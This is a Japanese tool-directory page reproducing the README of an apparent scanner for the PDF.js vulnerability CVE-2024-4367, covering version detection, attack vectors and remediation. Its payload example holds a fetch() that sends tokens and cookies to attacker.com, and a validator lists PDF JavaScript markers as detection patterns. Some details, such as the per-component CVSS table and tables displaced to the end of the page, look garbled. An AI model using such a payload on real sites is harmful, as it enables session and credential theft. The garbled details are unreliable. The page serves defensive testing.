Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pdf.js-CVE-2024-4367 — スキャン終了 PoC CVE-2024-4367 | Kitploit
ツール/GitHubGitHub/veronimo669/pdf.js-cve-2024-4367
偵察脆弱性スキャナーエクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト論文と研究学習と教育
GitHubveronimo669/pdf.js-cve-2024-4367

pdf.js-CVE-2024-4367

スキャン終了 PoC CVE-2024-4367

リポジトリを見る
11ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🚨 CVE-2024-4367 - Universal PDF.js脆弱性スキャナー

⚠️ 重大なセキュリティツール | CVE-2024-4367(CVSS 9.8)を検出 - PDF.js リモートコード実行脆弱性

Version CVSS CVE License

あらゆるWebサイトで動作 - 設定不要


📋 目次

  • 📖 概要
  • ⚡ クイックスタート
  • 🔍 検出内容
  • 🛠️ 動作の仕組み
  • 📊 出力例
  • 🔒 修復ガイド
  • 🎯 攻撃ベクター
  • 🧪 テスト手順
  • 📝 技術詳細
  • ⚠️ 法的免責事項
  • 📚 リファレンス

📖 概要

CVE-2024-4367は、PDF.js(バージョン < 4.2.67)における重大な脆弱性で、悪意のあるPDFファイルを介して任意のJavaScript実行を可能にします。このスキャナーは、あらゆるWebサイト上の脆弱なPDF.jsインスタンスを自動的に検出します。

このスキャナーが他と違う点

  • ✅ 設定不要 - どのWebサイトでも即座に動作
  • ✅ ユニバーサル検出 - すべてのJavaScriptバンドルをスキャン
  • ✅ 依存関係なし - 純粋なJavaScript
  • ✅ 概念実証 - テスト用PDFを生成
  • ✅ 実行可能な結果 - 明確な修復手順

脆弱性の詳細

PDF.jsには、PDFファイルに埋め込まれたJavaScriptが適切にサンドボックス化されずに実行される欠陥があり、攻撃者は以下を実行できます:

  • 🏴‍☠️ localStorage/sessionStorageから認証トークンを盗む
  • 🍪 セッションCookieを外部に送信する
  • 📁 ローカルファイルにアクセスする(Electron/デスクトップアプリの場合)
  • 🔐 盗んだ認証情報を使用して被害者としてアクションを実行
  • 🌐 XSSを介して内部ネットワークにピボット

⚡ クイックスタート

方法1:ブラウザコンソール(最も簡単)

  1. 対象Webサイトを開く
  2. F12を押してDevToolsを開く
  3. Consoleタブに移動
  4. スキャナースクリプト全体を貼り付け
  5. Enterを押す
  6. 画面上の視覚的な結果を確認!

方法2:ブックマークレット

このURLでブックマークを作成:

root@kitploit:~
javascript:(function(){const s=document.createElement('script');s.src='https://cdn.jsdelivr.net/gh/yourusername/CVE-2024-4367-Scanner/scanner.js';document.body.appendChild(s);})();

方法3:直接ダウンロード

root@kitploit:~
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# 任意のWebサイトを開いてスクリプトを実行

🔍 検出内容

フェーズ1:JavaScriptバンドルスキャン

  • ✅ PDF.jsバージョン検出
  • ✅ 脆弱なバージョンの特定(< 4.2.67)
  • ✅ Package.json参照
  • ✅ Node_modulesパス

フェーズ2:PDFビューアの特定

  • ✅ `` PDFビューア
  • ✅ <embed>要素
  • ✅ <object> dataタグ
  • ✅ カスタムPDFビューアコンテナ
  • ✅ Canvasベースのレンダラー

フェーズ3:攻撃ベクター

  • ✅ URLパラメータ(?pdf=, ?file=, ?src=)
  • ✅ PDFアップロードフォーム
  • ✅ .pdfを受け付けるファイル入力フィールド
  • ✅ PDFパスを含むAPIエンドポイント

フェーズ4:視覚的インジケータ

  • ✅ ライブ脆弱性ステータス
  • ✅ ダウンロード可能な概念実証PDF
  • ✅ リアルタイムDOMオーバーレイ

🛠️ 動作の仕組み

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│                    スキャンプロセスの流れ                     │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  1. 📚 スクリプトの読み込み                                  │
│     ├─ 外部スクリプト(すべての<script src="">)           │
│     └─ インラインスクリプト(すべての<script>タグ)         │
│                                                             │
│  2. 🔍 PDF.jsバージョンの抽出                                │
│     ├─ コード内のパターンマッチング                          │
│     ├─ Package.json検出                                     │
│     └─ Node_modulesパスの解析                               │
│                                                             │
│  3. 🎯 脆弱性の特定                                         │
│     ├─ version < 4.2.67 ? → VULNERABLE                     │
│     └─ version = 2.16.105 ? → VULNERABLE                   │
│                                                             │
│  4. 🖼️ ビューアの特定                                       │
│     ├─ DOM要素のスキャン                                    │
│     └─ 属性の検出                                          │
│                                                             │
│  5. ⚡ PoCの生成                                            │
│     ├─ テストPDFの作成                                      │
│     └─ ダウンロードリンクの提供                             │
│                                                             │
│  6. 📊 結果の表示                                           │
│     ├─ 視覚的なオーバーレイ                                 │
│     ├─ コンソールレポート                                   │
│     └─ グローバル変数への保存                               │
│                                                             │
└─────────────────────────────────────────────────────────────┘

📊 出力例

コンソール出力

root@kitploit:~
╔═══════════════════════════════════════════════════════════════════════════════════╗
║                    CVE-2024-4367 - UNIVERSAL PDF.js SCANNER                         ║
║              Detects vulnerable PDF.js versions and potential exploitation         ║
╚═══════════════════════════════════════════════════════════════════════════════════╝

📚 PHASE 1: Scanning JavaScript Bundles for PDF.js
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
[+] Found 42 external scripts
[+] Found 12 inline scripts
   [1/42] Analyzing: vendor.bundle.js
      → PDF.js indicator found: pdfjs-dist
      ✅ PDF.js version found: 2.16.105
      🚨 VULNERABLE to CVE-2024-4367!

🎯 PHASE 4: Identifying Exploitation Vectors
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
   ⚠️ URL parameter accepts PDF: file=/documents/report.pdf
   ⚠️ PDF upload form found

█████████████████████████████████████████████████████████████████████████████████
                          FINAL SCAN REPORT
█████████████████████████████████████████████████████████████████████████████████

🚨 CRITICAL VULNERABILITY CONFIRMED!
   CVE: CVE-2024-4367
   CVSS: 9.8 (CRITICAL)
   Impact: Arbitrary JavaScript Execution

視覚的オーバーレイ

Scanner Overlay

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  CVE-2024-4367 SCAN RESULTS                                │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  📍 Target: example.com                                    │
│  📦 PDF.js: 2.16.105                                       │
│  🎯 Vulnerable: YES                                        │
│  📄 Viewers: 3                                             │
│  ⚡ Vectors: 2                                             │
│  ━━━━━━━━━━━━━━━━━━━━━━━                                    │
│  🔴 CRITICAL - Upgrade Required                            │
└─────────────────────────────────────────────────────────────┘

🔒 修復ガイド

即時対応

1. PDF.jsをアップグレード(推奨)

root@kitploit:~
# Node.jsプロジェクトの場合
npm install pdfjs-dist@latest

# CDN利用の場合
# バージョン4.2.67以上に更新

2. JavaScript実行を無効化

root@kitploit:~
// PDF.jsを読み込む前に設定
pdfjsLib.GlobalWorkerOptions.disableJavaScript = true;

3. コンテンツセキュリティポリシー

root@kitploit:~
Content-Security-Policy: script-src 'self'; 
                        object-src 'none'; 
                        worker-src 'none'

4. 入力検証

root@kitploit:~
// レンダリング前にPDFファイルを検証
function validatePDF(file) {
    // マジックバイトをチェック
    const header = file.slice(0, 5);
    if (header !== '%PDF-') {
        throw new Error('無効なPDFファイル');
    }
    
    // JavaScriptをスキャン
    const text = file.toString();
    if (text.includes('/JavaScript') || 
        text.includes('/JS') ||
        text.includes('<< /S /JavaScript >>')) {
        throw new Error('PDFにJavaScriptが含まれています');
    }
}

長期的な解決策


🎯 攻撃ベクター

検出される一般的なベクター

  1. URLパラメータ

    root@kitploit:~
    /viewer?file=malicious.pdf
    /download?pdf=malicious.pdf
    
  2. ファイルアップロード

    root@kitploit:~
    <input type="file" accept=".pdf">
    
  3. 埋め込みビューア

    root@kitploit:~
    
    <embed src="malicious.pdf">
    
  4. APIエンドポイント

    root@kitploit:~
    /api/documents/123/download
    /api/report/pdf
    

悪意のあるペイロードの例

root@kitploit:~
// PDF埋め込みJavaScript
this.alert('CVE-2024-4367 Exploited!');
fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({
        token: localStorage.getItem('token'),
        cookies: document.cookie
    })
});

🧪 テスト手順

ステップバイステップテスト

  1. スキャナーをインストール

    root@kitploit:~
    git clone https://github.com/yourusername/CVE-2024-4367-Scanner
    
  2. スキャナーを実行

    root@kitploit:~
    # 対象Webサイトを開く
    # スキャナーをコンソールに貼り付け
    # またはブックマークレットを使用
    
  3. 結果を分析

    • "VULNERABLE"ステータスを探す
    • PDF.jsのバージョンを確認
    • 攻撃ベクターをチェック
  4. PoC PDFをダウンロード(脆弱な場合)

    • ダウンロードボタンをクリック
    • PDFをアップロード/開く
    • JavaScript実行を確認
  5. 修正を適用

    • PDF.jsをアップグレード
    • CSPを実装
    • 入力を検証

予想される結果

シナリオ結果
PDF.js 2.16.105🔴 CRITICAL
PDF.js 3.x🔴 VULNERABLE
PDF.js 4.0.x🔴 VULNERABLE
PDF.js 4.2.67+✅ SAFE

📝 技術詳細

バージョンチェック

root@kitploit:~
// 脆弱なバージョン
const VULNERABLE_VERSIONS = [
    { version: '2.16.105', status: 'CRITICAL' },
    { version: '3.x.x', status: 'CRITICAL' },
    { version: '4.0.x - 4.2.66', status: 'CRITICAL' }
];

// 安全なバージョン
const SAFE_VERSION = '4.2.67';

脆弱性のタイムライン

日付イベント
2024-04-23脆弱性を発見
2024-04-24CVE-2024-4367割り当て
2024-04-25パッチリリース(4.2.67)
2024-04-26公開開示

CVSSスコアの内訳


⚠️ 法的免責事項

重要: このツールは許可されたセキュリティテストおよび教育目的のみを意図しています。

  • ✅ 行うべき: 自分のWebサイトで使用する
  • ✅ 行うべき: 明示的な許可を得て使用する
  • ✅ 行うべき: セキュリティ研究に使用する
  • ❌ 行うべきでない: 許可のないシステムで使用する
  • ❌ 行うべきでない: 悪意のある目的で使用する

作者は、このツールの誤用または損害について一切の責任を負いません。


📚 リファレンス

公式リソース

  • CVE-2024-4367 - NIST NVD
  • PDF.jsセキュリティアドバイザリ
  • Mozillaセキュリティブログ

関連する脆弱性

  • CVE-2024-4367 - PDF.js RCE
  • CVE-2023-xxxx - 過去のPDF.jsの問題
  • WebアプリケーションにおけるPDF.js経由のXSS

ツールとリソース

  • PDF.js公式リポジトリ
  • OWASP XSS防止
  • CSPリファレンス

研究論文

  • PDF.jsセキュリティ分析
  • クライアントサイドPDFレンダリングのリスク

🤝 コントリビューション

コントリビューションを歓迎します!以下の手順に従ってください:

  1. リポジトリをフォーク
  2. 機能ブランチを作成
  3. プルリクエストを送信
  4. コードスタイルに従う

開発環境のセットアップ

root@kitploit:~
git clone https://github.com/yourusername/CVE-2024-4367-Scanner
cd CVE-2024-4367-Scanner
# 変更を加える
# 複数のWebサイトでテスト
# PRを送信

📄 ライセンス

このプロジェクトはMITライセンスの下で提供されています - 詳細は LICENSE ファイルを参照してください。


🌟 サポート

このツールが役立つ場合は:

  • ⭐ リポジトリにスターを付ける
  • 🐛 問題を報告する
  • 📝 ドキュメントを書く
  • 🔧 修正を送信する

🛡️ セキュリティを維持。早めにテスト、頻繁にテスト。

セキュリティコミュニティより ❤️ を込めて

問題を報告 • GitHubでスター • ドキュメントを読む

ツールをダウンロード
解決策難易度効果
PDF.jsをアップグレード簡単✅ 完全修正
PDF.jsでJavaScriptを無効化簡単✅ 完全修正
CSPの実装中程度✅ 良好
サーバー側検証中程度✅ 良好
サンドボックスレンダリング難しい✅ 優良
PDF.jsなしℹ️ SAFE
2024-05-01
悪用試行を確認
コンポーネントスコア
攻撃元ネットワーク(9.8)
攻撃の複雑さ低(9.8)
必要な特権なし(9.8)
ユーザー操作必要(8.8)
スコープ変更あり(9.1)
機密性高(9.8)
完全性高(9.8)
可用性高(9.8)
全体9.8(CRITICAL)